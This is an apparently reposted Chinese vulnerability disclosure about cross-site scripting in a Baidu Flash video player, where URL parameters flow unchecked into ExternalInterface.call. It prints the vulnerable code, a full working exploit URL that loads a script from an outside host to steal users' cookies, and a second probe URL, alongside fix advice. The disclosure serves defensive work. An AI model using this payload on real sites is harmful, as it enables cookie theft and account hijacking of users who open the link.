网站地图    收藏   

主页 > 后端 > 网站安全 >

某播放器代码编写未考虑安全问题导致跨站 [继续

来源:自学PHP网    时间:2015-04-17 14:11 作者: 阅读:

[导读] 漏洞程序:http://mv.baidu.com/export/flashplayer.swf漏洞代码:1. 首先是FLASH后面的参数直接传递给了Parameters.getInstance().dataParameters.getInstance().data = loaderInfo.parameters;2. 然后Exte......

漏洞程序:http://mv.baidu.com/export/flashplayer.swf
 
漏洞代码:
 
1. 首先是FLASH后面的参数直接传递给了Parameters.getInstance().data
 
Parameters.getInstance().data = loaderInfo.parameters;
 
2. 然后
 
ExternalInterface.call(Parameters.getInstance().onPlayStart, _arg1);
ExternalInterface.call(Parameters.getInstance().onPlayStop);
ExternalInterface.call(Parameters.getInstance().onFileLoadedError);
 
这3处都是直接传入到call里做参数。
 
3. 继续看Parameters 类的代码
 
public function get onPlayStart():String{
return (_data["onPlayStart"]);
}
 www.2cto.com
4. 因此,我们可以构造以下恶意代码:?onPlayStart=function(){alert('xx')},一个实际利用代码是:
 
http://mv.baidu.com/export/flashplayer.swf?onFileLoadedError=alert&onPlayPause=alert&autoplay=true&vid=a962553478ba87b54e229f3e&onPlayStart=(function()%7Blocation.href%3D'javascript%3A%22%3Cscript%2Fsrc%3D%5C'%2F%2Fappmaker.sinaapp.com%5C%2Ftest5.js%5C'%3E%3C%2Fscript%3E%22'%7D%29
 
 
5. 可得到cookies。 剩下的俺不多说了。

用户访问页面后,Cookies发送给第三方。
 
 
修复方案:
目前这种跨站,浏览器自己的保护措施起不到拦截作用。因此只要用户点了链接,就十分可能中招了。
 
1. 检查全站JWPlayer 删除或更换其它。
2. 你们自己这个播放器,修改源码即可。
 
其实么,这里应该将FLASH这种文件, 都单独放到一个不同的域里, 比如baiduswf.com, 这样即使FLASH有问题, 也不会有太大影响。
 
像http://www.baidu.com/search/zhidao/badminton/jwplayer/player.swf?debug=alert 这种第三方的播放器,不应该出现在主域名之下的。

作者 gainover

自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习

京ICP备14009008号-1@版权所有www.zixuephp.com

网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com

添加评论